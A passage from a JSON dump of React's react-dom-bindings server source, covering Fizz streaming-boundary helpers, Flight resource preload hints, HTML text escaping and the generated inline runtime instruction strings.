{\n  if (renderState.generateStaticMarkup) {\n    target.push(stringToChunk(escapeTextForBrowser(text)));\n    return false;\n  } else {\n    return pushTextInstanceImpl(target, text, renderState, textEmbedded);\n  }\n}\n\nexport function pushSegmentFinale(\n  target: Array<Chunk | PrecomputedChunk>,\n  renderState: RenderState,\n  lastPushedText: boolean,\n  textEmbedded: boolean,\n): void {\n  if (renderState.generateStaticMarkup) {\n    return;\n  } else {\n    return pushSegmentFinaleImpl(\n      target,\n      renderState,\n      lastPushedText,\n      textEmbedded,\n    );\n  }\n}\n\nexport function pushStartActivityBoundary(\n  target: Array<Chunk | PrecomputedChunk>,\n  renderState: RenderState,\n): void {\n  if (renderState.generateStaticMarkup) {\n    // A completed boundary is done and doesn't need a representation in the HTML\n    // if we're not going to be hydrating it.\n    return;\n  }\n  pushStartActivityBoundaryImpl(target, renderState);\n}\n\nexport function pushEndActivityBoundary(\n  target: Array<Chunk | PrecomputedChunk>,\n  renderState: RenderState,\n): void {\n  if (renderState.generateStaticMarkup) {\n    return;\n  }\n  pushEndActivityBoundaryImpl(target, renderState);\n}\n\nexport function writeStartCompletedSuspenseBoundary(\n  destination: Destination,\n  renderState: RenderState,\n): boolean {\n  if (renderState.generateStaticMarkup) {\n    // A completed boundary is done and doesn't need a representation in the HTML\n    // if we're not going to be hydrating it.\n    return true;\n  }\n  return writeStartCompletedSuspenseBoundaryImpl(destination, renderState);\n}\nexport function writeStartClientRenderedSuspenseBoundary(\n  destination: Destination,\n  renderState: RenderState,\n  // flushing these error arguments are not currently supported in this legacy streaming format.\n  errorDigest: ?string,\n  errorMessage: ?string,\n  errorStack: ?string,\n  errorComponentStack: ?string,\n): boolean {\n  if (renderState.generateStaticMarkup) {\n    // A client rendered boundary is done and doesn't need a representation in the HTML\n    // since we'll never hydrate it. This is arguably an error in static generation.\n    return true;\n  }\n  return writeStartClientRenderedSuspenseBoundaryImpl(\n    destination,\n    renderState,\n    errorDigest,\n    errorMessage,\n    errorStack,\n    errorComponentStack,\n  );\n}\nexport function writeEndCompletedSuspenseBoundary(\n  destination: Destination,\n  renderState: RenderState,\n): boolean {\n  if (renderState.generateStaticMarkup) {\n    return true;\n  }\n  return writeEndCompletedSuspenseBoundaryImpl(destination, renderState);\n}\nexport function writeEndClientRenderedSuspenseBoundary(\n  destination: Destination,\n  renderState: RenderState,\n): boolean {\n  if (renderState.generateStaticMarkup) {\n    return true;\n  }\n  return writeEndClientRenderedSuspenseBoundaryImpl(destination, renderState);\n}\n\nexport function writePreambleStart(\n  destination: Destination,\n  resumableState: ResumableState,\n  renderState: RenderState,\n  skipBlockingShell: boolean,\n): void {\n  return writePreambleStartImpl(\n    destination,\n    resumableState,\n    renderState,\n    true, // skipBlockingShell\n  );\n}\n\nexport function hasSuspenseyContent(\n  hoistableState: HoistableState,\n  flushingInShell: boolean,\n): boolean {\n  // Never outline.\n  return false;\n}\n\nexport type TransitionStatus = FormStatus;\nexport const NotPendingTransition: TransitionStatus = NotPending;\n"
  },
  {
    "path": "packages/react-dom-bindings/src/server/ReactFlightServerConfigDOM.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  CrossOriginEnum,\n  PreloadImplOptions,\n  PreloadModuleImplOptions,\n  PreinitStyleOptions,\n  PreinitScriptOptions,\n  PreinitModuleScriptOptions,\n} from 'react-dom/src/shared/ReactDOMTypes';\n\n// This module registers the host dispatcher so it needs to be imported\n// even if no exports are used.\nimport {preload, preloadModule} from './ReactDOMFlightServerHostDispatcher';\n\nimport {getCrossOriginString} from '../shared/crossOriginStrings';\n\n// We use zero to represent the absence of an explicit precedence because it is\n// small, smaller than how we encode undefined, and is unambiguous. We could use\n// a different tuple structure to encode this instead but this makes the runtime\n// cost cheaper by eliminating a type checks in more positions.\ntype UnspecifiedPrecedence = 0;\n\n// prettier-ignore\ntype TypeMap = {\n  // prefetchDNS(href)\n  'D': /* href */ string,\n  // preconnect(href, options)\n  'C':\n    | /* href */ string\n    | [/* href */ string, CrossOriginEnum],\n  // preconnect(href, options)\n  'L':\n    | [/* href */ string, /* as */ string]\n    | [/* href */ string, /* as */ string, PreloadImplOptions],\n  'm':\n    | /* href */ string\n    | [/* href */ string, PreloadModuleImplOptions],\n  'S':\n    | /* href */ string\n    | [/* href */ string, /* precedence */ string]\n    | [/* href */ string, /* precedence */ string | UnspecifiedPrecedence, PreinitStyleOptions],\n  'X':\n    | /* href */ string\n    | [/* href */ string, PreinitScriptOptions],\n  'M':\n    | /* href */ string\n    | [/* href */ string, PreinitModuleScriptOptions],\n}\n\nexport type HintCode = $Keys<TypeMap>;\nexport type HintModel<T: HintCode> = TypeMap[T];\n\nexport type Hints = Set<string>;\n\nexport function createHints(): Hints {\n  return new Set();\n}\n\nconst NO_SCOPE = /*         */ 0b000000;\nconst NOSCRIPT_SCOPE = /*   */ 0b000001;\nconst PICTURE_SCOPE = /*    */ 0b000010;\n\nexport opaque type FormatContext = number;\n\nexport function createRootFormatContext(): FormatContext {\n  return NO_SCOPE;\n}\n\nfunction processImg(props: Object, formatContext: FormatContext): void {\n  // This should mirror the logic of pushImg in ReactFizzConfigDOM.\n  const pictureOrNoScriptTagInScope =\n    formatContext & (PICTURE_SCOPE | NOSCRIPT_SCOPE);\n  const {src, srcSet} = props;\n  if (\n    props.loading !== 'lazy' &&\n    (src || srcSet) &&\n    (typeof src === 'string' || src == null) &&\n    (typeof srcSet === 'string' || srcSet == null) &&\n    props.fetchPriority !== 'low' &&\n    !pictureOrNoScriptTagInScope &&\n    // We exclude data URIs in src and srcSet since these should not be preloaded\n    !(\n      typeof src === 'string' &&\n      src[4] === ':' &&\n      (src[0] === 'd' || src[0] === 'D') &&\n      (src[1] === 'a' || src[1] === 'A') &&\n      (src[2] === 't' || src[2] === 'T') &&\n      (src[3] === 'a' || src[3] === 'A')\n    ) &&\n    !(\n      typeof srcSet === 'string' &&\n      srcSet[4] === ':' &&\n      (srcSet[0] === 'd' || srcSet[0] === 'D') &&\n      (srcSet[1] === 'a' || srcSet[1] === 'A') &&\n      (srcSet[2] === 't' || srcSet[2] === 'T') &&\n      (srcSet[3] === 'a' || srcSet[3] === 'A')\n    )\n  ) {\n    // We have a suspensey image and ought to preload it to optimize the loading of display blocking\n    // resumableState.\n    const sizes = typeof props.sizes === 'string' ? props.sizes : undefined;\n\n    const crossOrigin = getCrossOriginString(props.crossOrigin);\n\n    preload(\n      // The preload() API requires a href but if we have an imageSrcSet then that will take precedence.\n      // We already remove the href anyway in both Fizz and Fiber due to a Safari bug so the empty string\n      // will never actually appear in the DOM.\n      src || '',\n      'image',\n      {\n        imageSrcSet: srcSet,\n        imageSizes: sizes,\n        crossOrigin: crossOrigin,\n        integrity: props.integrity,\n        type: props.type,\n        fetchPriority: props.fetchPriority,\n        referrerPolicy: props.referrerPolicy,\n      },\n    );\n  }\n}\n\nfunction processLink(props: Object, formatContext: FormatContext): void {\n  const noscriptTagInScope = formatContext & NOSCRIPT_SCOPE;\n  const rel = props.rel;\n  const href = props.href;\n  if (\n    noscriptTagInScope ||\n    props.itemProp != null ||\n    typeof rel !== 'string' ||\n    typeof href !== 'string' ||\n    href === ''\n  ) {\n    // We shouldn't preload resources that are in noscript or have no configuration.\n    return;\n  }\n\n  switch (rel) {\n    case 'preload': {\n      preload(href, props.as, {\n        crossOrigin: props.crossOrigin,\n        integrity: props.integrity,\n        nonce: props.nonce,\n        type: props.type,\n        fetchPriority: props.fetchPriority,\n        referrerPolicy: props.referrerPolicy,\n        imageSrcSet: props.imageSrcSet,\n        imageSizes: props.imageSizes,\n        media: props.media,\n      });\n      return;\n    }\n    case 'modulepreload': {\n      preloadModule(href, {\n        as: props.as,\n        crossOrigin: props.crossOrigin,\n        integrity: props.integrity,\n        nonce: props.nonce,\n      });\n      return;\n    }\n    case 'stylesheet': {\n      preload(href, 'style', {\n        crossOrigin: props.crossOrigin,\n        integrity: props.integrity,\n        nonce: props.nonce,\n        type: props.type,\n        fetchPriority: props.fetchPriority,\n        referrerPolicy: props.referrerPolicy,\n        media: props.media,\n      });\n      return;\n    }\n  }\n}\n\nexport function getChildFormatContext(\n  parentContext: FormatContext,\n  type: string,\n  props: Object,\n): FormatContext {\n  switch (type) {\n    case 'img':\n      processImg(props, parentContext);\n      return parentContext;\n    case 'link':\n      processLink(props, parentContext);\n      return parentContext;\n    case 'picture':\n      return parentContext | PICTURE_SCOPE;\n    case 'noscript':\n      return parentContext | NOSCRIPT_SCOPE;\n    default:\n      return parentContext;\n  }\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/server/escapeTextForBrowser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * Based on the escape-html library, which is used under the MIT License below:\n *\n * Copyright (c) 2012-2013 TJ Holowaychuk\n * Copyright (c) 2015 Andreas Lubbe\n * Copyright (c) 2015 Tiancheng \"Timothy\" Gu\n *\n * Permission is hereby granted, free of charge, to any person obtaining\n * a copy of this software and associated documentation files (the\n * 'Software'), to deal in the Software without restriction, including\n * without limitation the rights to use, copy, modify, merge, publish,\n * distribute, sublicense, and/or sell copies of the Software, and to\n * permit persons to whom the Software is furnished to do so, subject to\n * the following conditions:\n *\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\n * @flow\n */\n\n// code copied and modified from escape-html\n/**\n * Module variables.\n * @private\n */\n\nimport {checkHtmlStringCoercion} from 'shared/CheckStringCoercion';\n\nconst matchHtmlRegExp = /[\"'&<>]/;\n\n/**\n * Escapes special characters and HTML entities in a given html string.\n *\n * @param  {string} string HTML string to escape for later insertion\n * @return {string}\n * @public\n */\n\nfunction escapeHtml(string: string) {\n  if (__DEV__) {\n    checkHtmlStringCoercion(string);\n  }\n  const str = '' + string;\n  const match = matchHtmlRegExp.exec(str);\n\n  if (!match) {\n    return str;\n  }\n\n  let escape;\n  let html = '';\n  let index;\n  let lastIndex = 0;\n\n  for (index = match.index; index < str.length; index++) {\n    switch (str.charCodeAt(index)) {\n      case 34: // \"\n        escape = '&quot;';\n        break;\n      case 38: // &\n        escape = '&amp;';\n        break;\n      case 39: // '\n        escape = '&#x27;'; // modified from escape-html; used to be '&#39'\n        break;\n      case 60: // <\n        escape = '&lt;';\n        break;\n      case 62: // >\n        escape = '&gt;';\n        break;\n      default:\n        continue;\n    }\n\n    if (lastIndex !== index) {\n      html += str.slice(lastIndex, index);\n    }\n\n    lastIndex = index + 1;\n    html += escape;\n  }\n\n  return lastIndex !== index ? html + str.slice(lastIndex, index) : html;\n}\n// end code copied and modified from escape-html\n\n/**\n * Escapes text to prevent scripting attacks.\n *\n * @param {*} text Text value to escape.\n * @return {string} An escaped string.\n */\nfunction escapeTextForBrowser(text: string | number | boolean): string {\n  if (\n    typeof text === 'boolean' ||\n    typeof text === 'number' ||\n    typeof text === 'bigint'\n  ) {\n    // this shortcircuit helps perf for types that we know will never have\n    // special characters, especially given that this function is used often\n    // for numeric dom ids.\n    return '' + (text: any);\n  }\n  return escapeHtml(text);\n}\n\nexport default escapeTextForBrowser;\n"
  },
  {
    "path": "packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInlineClientRenderBoundary.js",
    "content": "import {clientRenderBoundary} from './ReactDOMFizzInstructionSetShared';\n\n// This is a string so Closure's advanced compilation mode doesn't mangle it.\n// eslint-disable-next-line dot-notation\nwindow['$RX'] = clientRenderBoundary;\n"
  },
  {
    "path": "packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInlineCompleteBoundary.js",
    "content": "import {\n  revealCompletedBoundaries,\n  completeBoundary,\n} from './ReactDOMFizzInstructionSetShared';\n\n// This is a string so Closure's advanced compilation mode doesn't mangle it.\n// eslint-disable-next-line dot-notation\nwindow['$RB'] = [];\n// eslint-disable-next-line dot-notation\nwindow['$RV'] = revealCompletedBoundaries;\n// eslint-disable-next-line dot-notation\nwindow['$RC'] = completeBoundary;\n"
  },
  {
    "path": "packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInlineCompleteBoundaryUpgradeToViewTransitions.js",
    "content": "import {revealCompletedBoundariesWithViewTransitions} from './ReactDOMFizzInstructionSetShared';\n\n// Upgrade the revealCompletedBoundaries instruction to support ViewTransitions.\n// This is a string so Closure's advanced compilation mode doesn't mangle it.\n// eslint-disable-next-line dot-notation\nwindow['$RV'] = revealCompletedBoundariesWithViewTransitions.bind(\n  null,\n  // eslint-disable-next-line dot-notation\n  window['$RV'],\n);\n"
  },
  {
    "path": "packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInlineCompleteBoundaryWithStyles.js",
    "content": "import {completeBoundaryWithStyles} from './ReactDOMFizzInstructionSetShared';\n\n// This is a string so Closure's advanced compilation mode doesn't mangle it.\n// eslint-disable-next-line dot-notation\nwindow['$RM'] = new Map();\n// eslint-disable-next-line dot-notation\nwindow['$RR'] = completeBoundaryWithStyles;\n"
  },
  {
    "path": "packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInlineCompleteSegment.js",
    "content": "import {completeSegment} from './ReactDOMFizzInstructionSetShared';\n\n// This is a string so Closure's advanced compilation mode doesn't mangle it.\n// eslint-disable-next-line dot-notation\nwindow['$RS'] = completeSegment;\n"
  },
  {
    "path": "packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInlineFormReplaying.js",
    "content": "import {listenToFormSubmissionsForReplaying} from './ReactDOMFizzInstructionSetShared';\n\n// TODO: Export a helper function that throws the error from javascript URLs instead.\n// We can do that here since we mess with globals anyway and we can guarantee it has loaded.\n// It makes less sense in the external runtime since it's async loaded and doesn't expose globals\n// so we might have to have two different URLs.\n\nlistenToFormSubmissionsForReplaying();\n"
  },
  {
    "path": "packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInlineShellTime.js",
    "content": "// Track the paint time of the shell\nrequestAnimationFrame(() => {\n  // eslint-disable-next-line dot-notation\n  window['$RT'] = performance.now();\n});\n"
  },
  {
    "path": "packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInstructionSetExternalRuntime.js",
    "content": "/* eslint-disable dot-notation */\n\n// Instruction set for the Fizz external runtime\n\nimport {\n  clientRenderBoundary,\n  completeBoundary,\n  completeBoundaryWithStyles,\n  completeSegment,\n  listenToFormSubmissionsForReplaying,\n  revealCompletedBoundaries,\n  revealCompletedBoundariesWithViewTransitions,\n} from './ReactDOMFizzInstructionSetShared';\n\n// This is a string so Closure's advanced compilation mode doesn't mangle it.\n// These will be renamed to local references by the external-runtime-plugin.\nwindow['$RM'] = new Map();\nwindow['$RB'] = [];\nwindow['$RX'] = clientRenderBoundary;\nwindow['$RV'] = revealCompletedBoundariesWithViewTransitions.bind(\n  null,\n  revealCompletedBoundaries,\n);\nwindow['$RC'] = completeBoundary;\nwindow['$RR'] = completeBoundaryWithStyles;\nwindow['$RS'] = completeSegment;\n\nlistenToFormSubmissionsForReplaying();\n\n// Track the paint time of the shell.\nconst entries = performance.getEntriesByType\n  ? performance.getEntriesByType('paint')\n  : [];\nif (entries.length > 0) {\n  // We might have already painted before this external runtime loaded. In that case we\n  // try to get the first paint from the performance metrics to avoid delaying further\n  // than necessary.\n  window['$RT'] = entries[0].startTime;\n} else {\n  // Otherwise we wait for the next rAF for it.\n  requestAnimationFrame(() => {\n    window['$RT'] = performance.now();\n  });\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInstructionSetInlineCodeStrings.js",
    "content": "// This is a generated file. The source files are in react-dom-bindings/src/server/fizz-instruction-set.\n// The build script is at scripts/rollup/generate-inline-fizz-runtime.js.\n// Run `yarn generate-inline-fizz-runtime` to generate.\nexport const markShellTime =\n  'requestAnimationFrame(function(){$RT=performance.now()});';\nexport const clientRenderBoundary =\n  '$RX=function(b,c,d,e,f){var a=document.getElementById(b);a&&(b=a.previousSibling,b.data=\"$!\",a=a.dataset,c&&(a.dgst=c),d&&(a.msg=d),e&&(a.stck=e),f&&(a.cstck=f),b._reactRetry&&b._reactRetry())};';\nexport const completeBoundary =\n  '$RB=[];$RV=function(a){$RT=performance.now();for(var b=0;b<a.length;b+=2){var c=a[b],e=a[b+1];null!==e.parentNode&&e.parentNode.removeChild(e);var f=c.parentNode;if(f){var g=c.previousSibling,h=0;do{if(c&&8===c.nodeType){var d=c.data;if(\"/$\"===d||\"/&\"===d)if(0===h)break;else h--;else\"$\"!==d&&\"$?\"!==d&&\"$~\"!==d&&\"$!\"!==d&&\"&\"!==d||h++}d=c.nextSibling;f.removeChild(c);c=d}while(c);for(;e.firstChild;)f.insertBefore(e.firstChild,c);g.data=\"$\";g._reactRetry&&requestAnimationFrame(g._reactRetry)}}a.length=0};\\n$RC=function(a,b){if(b=document.getElementById(b))(a=document.getElementById(a))?(a.previousSibling.data=\"$~\",$RB.push(a,b),2===$RB.length&&(\"number\"!==typeof $RT?requestAnimationFrame($RV.bind(null,$RB)):(a=performance.now(),setTimeout($RV.bind(null,$RB),2300>a&&2E3<a?2300-a:$RT+300-a)))):b.parentNode.removeChild(b)};';\nexport const completeBoundaryUpgradeToViewTransitions =\n  '$RV=function(A,g){function k(a,b){var e=a.getAttribute(b);e&&(b=a.style,l.push(a,b.viewTransitionName,b.viewTransitionClass),\"auto\"!==e&&(b.viewTransitionClass=e),(a=a.getAttribute(\"vt-name\"))||(a=\"_T_\"+K++ +\"_\"),a=CSS.escape(a)!==a?\"r-\"+btoa(a).replace(/=/g,\"\"):a,b.viewTransitionName=a,B=!0)}var B=!1,K=0,l=[];try{var f=document.__reactViewTransition;if(f){f.finished.finally($RV.bind(null,g));return}var m=new Map;for(f=1;f<g.length;f+=2)for(var h=g[f].querySelectorAll(\"[vt-share]\"),d=0;d<h.length;d++){var c=h[d];m.set(c.getAttribute(\"vt-name\"),c)}var u=[];for(h=0;h<g.length;h+=2){var C=g[h],x=C.parentNode;if(x){var v=x.getBoundingClientRect();if(v.left||v.top||v.width||v.height){c=C;for(f=0;c;){if(8===c.nodeType){var r=c.data;if(\"/$\"===r)if(0===f)break;else f--;else\"$\"!==r&&\"$?\"!==r&&\"$~\"!==r&&\"$!\"!==r||f++}else if(1===c.nodeType){d=c;var D=d.getAttribute(\"vt-name\"),y=m.get(D);k(d,y?\"vt-share\":\"vt-exit\");y&&(k(y,\"vt-share\"),m.set(D,null));var E=d.querySelectorAll(\"[vt-share]\");\\nfor(d=0;d<E.length;d++){var F=E[d],G=F.getAttribute(\"vt-name\"),H=m.get(G);H&&(k(F,\"vt-share\"),k(H,\"vt-share\"),m.set(G,null))}}c=c.nextSibling}for(var I=g[h+1],t=I.firstElementChild;t;)null!==m.get(t.getAttribute(\"vt-name\"))&&k(t,\"vt-enter\"),t=t.nextElementSibling;c=x;do for(var n=c.firstElementChild;n;){var J=n.getAttribute(\"vt-update\");J&&\"none\"!==J&&!l.includes(n)&&k(n,\"vt-update\");n=n.nextElementSibling}while((c=c.parentNode)&&1===c.nodeType&&\"none\"!==c.getAttribute(\"vt-update\"));u.push.apply(u,\\nI.querySelectorAll(\\'img[src]:not([loading=\"lazy\"])\\'))}}}if(B){var z=document.__reactViewTransition=document.startViewTransition({update:function(){A(g);for(var a=[document.documentElement.clientHeight,document.fonts.ready],b={},e=0;e<u.length;b={g:b.g},e++)if(b.g=u[e],!b.g.complete){var p=b.g.getBoundingClientRect();0<p.bottom&&0<p.right&&p.top<window.innerHeight&&p.left<window.innerWidth&&(p=new Promise(function(w){return function(q){w.g.addEventListener(\"load\",q);w.g.addEventListener(\"error\",q)}}(b)),\\na.push(p))}return Promise.race([Promise.all(a),new Promise(function(w){var q=performance.now();setTimeout(w,2300>q&&2E3<q?2300-q:500)})])},types:[]});z.ready.finally(function(){for(var a=l.length-3;0<=a;a-=3){var b=l[a],e=b.style;e.viewTransitionName=l[a+1];e.viewTransitionClass=l[a+1];\"\"===b.getAttribute(\"style\")&&b.removeAttribute(\"style\")}});z.finished.finally(function(){document.__reactViewTransition===z&&(document.__reactViewTransition=null)});$RB=[];return}}catch(a){}A(g)}.bind(null,\\n$RV);';\nexport const completeBoundaryWithStyles =\n  '$RM=new Map;$RR=function(n,w,p){function u(q){this._p=null;q()}for(var r=new Map,t=document,h,b,e=t.querySelectorAll(\"link[data-precedence],style[data-precedence]\"),v=[],k=0;b=e[k++];)\"not all\"===b.getAttribute(\"media\")?v.push(b):(\"LINK\"===b.tagName&&$RM.set(b.getAttribute(\"href\"),b),r.set(b.dataset.precedence,h=b));e=0;b=[];var l,a;for(k=!0;;){if(k){var f=p[e++];if(!f){k=!1;e=0;continue}var c=!1,m=0;var d=f[m++];if(a=$RM.get(d)){var g=a._p;c=!0}else{a=t.createElement(\"link\");a.href=d;a.rel=\\n\"stylesheet\";for(a.dataset.precedence=l=f[m++];g=f[m++];)a.setAttribute(g,f[m++]);g=a._p=new Promise(function(q,x){a.onload=u.bind(a,q);a.onerror=u.bind(a,x)});$RM.set(d,a)}d=a.getAttribute(\"media\");!g||d&&!matchMedia(d).matches||b.push(g);if(c)continue}else{a=v[e++];if(!a)break;l=a.getAttribute(\"data-precedence\");a.removeAttribute(\"media\")}c=r.get(l)||h;c===h&&(h=a);r.set(l,a);c?c.parentNode.insertBefore(a,c.nextSibling):(c=t.head,c.insertBefore(a,c.firstChild))}if(p=document.getElementById(n))p.previousSibling.data=\\n\"$~\";Promise.all(b).then($RC.bind(null,n,w),$RX.bind(null,n,\"CSS failed to load\"))};';\nexport const completeSegment =\n  '$RS=function(a,b){a=document.getElementById(a);b=document.getElementById(b);for(a.parentNode.removeChild(a);a.firstChild;)b.parentNode.insertBefore(a.firstChild,b);b.parentNode.removeChild(b)};';\nexport const formReplaying =\n  'addEventListener(\"submit\",function(a){if(!a.defaultPrevented){var b=a.target,d=a.submitter,c=b.action,e=d;if(d){var f=d.getAttribute(\"formAction\");null!=f&&(c=f,e=null)}\"javascript:throw new Error(\\'React form unexpectedly submitted.\\')\"===c&&(a.preventDefault(),a=new FormData(b,e),c=b.ownerDocument||b,(c.$$reactFormReplay=c.$$reactFormReplay||[]).push(b,d,a))}});';\n"
  },
  {
    "path": "packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInstructionSetShared.js",
    "content": "/* eslint-disable dot-notation */\n\n// Shared implementation and constants between the inline script and external\n// runtime instruction sets.\n\nconst ELEMENT_NODE = 1;\nconst COMMENT_NODE = 8;\nconst ACTIVITY_START_DATA = '&';\nconst ACTIVITY_END_DATA = '/&';\nconst SUSPENSE_START_DATA = '$';\nconst SUSPENSE_END_DATA = '/$';\nconst SUSPENSE_PENDING_START_DATA = '$?';\nconst SUSPENSE_QUEUED_START_DATA = '$~';\nconst SUSPENSE_FALLBACK_START_DATA = '$!';\n\nconst FALLBACK_THROTTLE_MS = 300;\n\nconst SUSPENSEY_FONT_AND_IMAGE_TIMEOUT = 500;\n\n// If you have a target goal in mind for a metric to hit, you don't want the\n// only reason you miss it by a little bit to be throttling heuristics.\n// This tries to avoid throttling if avoiding it would let you hit this metric.\n// This is derived from trying to hit an LCP of 2.5 seconds with some head room.\nconst TARGET_VANITY_METRIC = 2300;\n\n// TODO: Symbols that are referenced outside this module use dynamic accessor\n// notation instead of dot notation to prevent Closure's advanced compilation\n// mode from renaming. We could use extern files instead, but I couldn't get it\n// working. Closure converts it to a dot access anyway, though, so it's not an\n// urgent issue.\n\nexport function revealCompletedBoundaries(batch) {\n  window['$RT'] = performance.now();\n  for (let i = 0; i < batch.length; i += 2) {\n    const suspenseIdNode = batch[i];\n    const contentNode = batch[i + 1];\n    if (contentNode.parentNode === null) {\n      // If the client has failed hydration we may have already deleted the streaming\n      // segments. The server may also have emitted a complete instruction but cancelled\n      // the segment. Regardless we can ignore this case.\n    } else {\n      // We can detach the content now.\n      // Completions of boundaries within this contentNode will now find the boundary\n      // in its designated place.\n      contentNode.parentNode.removeChild(contentNode);\n    }\n    // Clear all the existing children. This is complicated because\n    // there can be embedded Suspense boundaries in the fallback.\n    // This is similar to clearSuspenseBoundary in ReactFiberConfigDOM.\n    // TODO: We could avoid this if we never emitted suspense boundaries in fallback trees.\n    // They never hydrate anyway. However, currently we support incrementally loading the fallback.\n    const parentInstance = suspenseIdNode.parentNode;\n    if (!parentInstance) {\n      // We may have client-rendered this boundary already. Skip it.\n      continue;\n    }\n\n    // Find the boundary around the fallback. This is always the previous node.\n    const suspenseNode = suspenseIdNode.previousSibling;\n\n    let node = suspenseIdNode;\n    let depth = 0;\n    do {\n      if (node && node.nodeType === COMMENT_NODE) {\n        const data = node.data;\n        if (data === SUSPENSE_END_DATA || data === ACTIVITY_END_DATA) {\n          if (depth === 0) {\n            break;\n          } else {\n            depth--;\n          }\n        } else if (\n          data === SUSPENSE_START_DATA ||\n          data === SUSPENSE_PENDING_START_DATA ||\n          data === SUSPENSE_QUEUED_START_DATA ||\n          data === SUSPENSE_FALLBACK_START_DATA ||\n          data === ACTIVITY_START_DATA\n        ) {\n          depth++;\n        }\n      }\n\n      const nextNode = node.nextSibling;\n      parentInstance.removeChild(node);\n      node = nextNode;\n    } while (node);\n\n    const endOfBoundary = node;\n\n    // Insert all the children from the contentNode between the start and end of suspense boundary.\n    while (contentNode.firstChild) {\n      parentInstance.insertBefore(contentNode.firstChild, endOfBoundary);\n    }\n\n    suspenseNode.data = SUSPENSE_START_DATA;\n    if (suspenseNode['_reactRetry']) {\n      requestAnimationFrame(suspenseNode['_reactRetry']);\n    }\n  }\n  batch.length = 0;\n}\n\nexport function revealCompletedBoundariesWithViewTransitions(\n  revealBoundaries,\n  batch,\n) {\n  let shouldStartViewTransition = false;\n  let autoNameIdx = 0;\n  const restoreQueue = [];\n  function applyViewTransitionName(element, classAttributeName) {\n    const className = element.getAttribute(classAttributeName);\n    if (!className) {\n      return;\n    }\n    // Add any elements we apply a name to a queue to be reverted when we start.\n    const elementStyle = element.style;\n    restoreQueue.push(\n      element,\n      elementStyle['viewTransitionName'],\n      elementStyle['viewTransitionClass'],\n    );\n    if (className !== 'auto') {\n      elementStyle['viewTransitionClass'] = className;\n    }\n    let name = element.getAttribute('vt-name');\n    if (!name) {\n      // Auto-generate a name for this one.\n      // TODO: We don't have a prefix to pick from here but maybe we don't need it\n      // since it's only applicable temporarily during this specific animation.\n      const idPrefix = '';\n      name = '_' + idPrefix + 'T_' + autoNameIdx++ + '_';\n    }\n    // If the name isn't valid CSS identifier, base64 encode the name instead.\n    // This doesn't let you select it in custom CSS selectors but it does work in current\n    // browsers.\n    const escapedName =\n      CSS.escape(name) !== name ? 'r-' + btoa(name).replace(/=/g, '') : name;\n    elementStyle['viewTransitionName'] = escapedName;\n    shouldStartViewTransition = true;\n  }\n  try {\n    const existingTransition = document['__reactViewTransition'];\n    if (existingTransition) {\n      // Retry after the previous ViewTransition finishes.\n      existingTransition.finished.finally(window['$RV'].bind(null, batch));\n      return;\n    }\n    // First collect all entering names that might form pairs exiting names.\n    const appearingViewTransitions = new Map();\n    for (let i = 1; i < batch.length; i += 2) {\n      const contentNode = batch[i];\n      const appearingElements = contentNode.querySelectorAll('[vt-share]');\n      for (let j = 0; j < appearingElements.length; j++) {\n        const appearingElement = appearingElements[j];\n        appearingViewTransitions.set(\n          appearingElement.getAttribute('vt-name'),\n          appearingElement,\n        );\n      }\n    }\n    const suspenseyImages = [];\n    // Next we'll find the nodes that we're going to animate and apply names to them..\n    for (let i = 0; i < batch.length; i += 2) {\n      const suspenseIdNode = batch[i];\n      const parentInstance = suspenseIdNode.parentNode;\n      if (!parentInstance) {\n        // We may have client-rendered this boundary already. Skip it.\n        continue;\n      }\n      const parentRect = parentInstance.getBoundingClientRect();\n      if (\n        !parentRect.left &&\n        !parentRect.top &&\n        !parentRect.width &&\n        !parentRect.height\n      ) {\n        // If the parent instance is display: none then we don't animate this boundary.\n        // This can happen when this boundary is actually a child of a different boundary that\n        // isn't yet revealed or is about to be revealed, but in that case that boundary\n        // should do the exit/enter and not this one. Conveniently this also lets us skip\n        // this if it's just in a hidden tree in general.\n        // TODO: Should we skip it if it's out of viewport? It's possible that it gets\n        // brought into the viewport by changing size.\n        // TODO: There's a another case where an inner boundary is inside a fallback that\n        // is about to be deleted. In that case we should not run exit animations on the inner.\n        continue;\n      }\n\n      // Apply exit animations to the immediate elements inside the fallback.\n      let node = suspenseIdNode;\n      let depth = 0;\n      while (node) {\n        if (node.nodeType === COMMENT_NODE) {\n          const data = node.data;\n          if (data === SUSPENSE_END_DATA) {\n            if (depth === 0) {\n              break;\n            } else {\n              depth--;\n            }\n          } else if (\n            data === SUSPENSE_START_DATA ||\n            data === SUSPENSE_PENDING_START_DATA ||\n            data === SUSPENSE_QUEUED_START_DATA ||\n            data === SUSPENSE_FALLBACK_START_DATA\n          ) {\n            depth++;\n          }\n        } else if (node.nodeType === ELEMENT_NODE) {\n          const exitElement = node;\n          const exitName = 